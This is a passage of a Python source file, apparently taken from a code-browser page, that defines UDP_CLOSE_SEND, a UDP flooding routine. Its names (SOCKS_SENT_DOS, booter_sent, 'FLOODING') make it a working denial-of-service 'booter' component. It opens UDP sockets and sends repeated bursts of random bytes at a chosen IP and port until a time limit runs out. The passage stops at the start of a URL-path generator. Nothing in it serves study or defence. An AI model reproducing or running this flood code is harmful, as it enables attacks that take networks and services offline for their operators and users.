(ip,port,secs,make_connection,booter_sent,size)
| 9 | MAKE_CONNECT_DOS = True |
| 10 | |
| 11 | def UDP_CLOSE_SEND(ip,port,secs,make_connection,booter_sent,size): |
| 12 | global SOCKS_SENT_DOS,MAKE_CONNECT_DOS |
| 13 | |
| 14 | while time.time() < secs: |
| 15 | if len(SOCKS_SENT_DOS) == 0: |
| 16 | print("NO CONNECTION") |
| 17 | MAKE_CONNECT_DOS = True |
| 18 | if MAKE_CONNECT_DOS == True: |
| 19 | try: |
| 20 | S = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) |
| 21 | S.sendto(random.randbytes(size),(ip,port)) |
| 22 | MAKE_CONNECT_DOS = False |
| 23 | print('\nMAKE CONNECTION') |
| 24 | SOCKS_SENT_DOS.append(S) |
| 25 | except: |
| 26 | S.close() |
| 27 | else: |
| 28 | if len(SOCKS_SENT_DOS) > make_connection: |
| 29 | print("\nLOW CONNECTION") |
| 30 | MAKE_CONNECT_DOS = True |
| 31 | else: |
| 32 | for DOS in SOCKS_SENT_DOS: |
| 33 | print('\nFLOODING') |
| 34 | try: |
| 35 | for _ in range(booter_sent): |
| 36 | DOS.sendto(random.randbytes(size),(ip,port)) |
| 37 | DOS.sendto(random._urandom(size),(ip,port)) |
| 38 | DOS.sendto(random.randbytes(size),(ip,port)) |
| 39 | DOS.sendto(random._urandom(size),(ip,port)) |
| 40 | DOS.sendto(random.randbytes(size),(ip,port)) |
| 41 | except: |
| 42 | SOCKS_SENT_DOS.remove(DOS) |
| 43 | SOCKS_SENT_DOS.remove(DOS) |
| 44 | print("DONE CONNECTION") |
| 45 | |
| 46 | def generate_url_path(num): |
| 47 | msg = str(string.ascii_letters + string.digits + string.punctuation) |
nothing calls this directly
no outgoing calls
no test coverage detected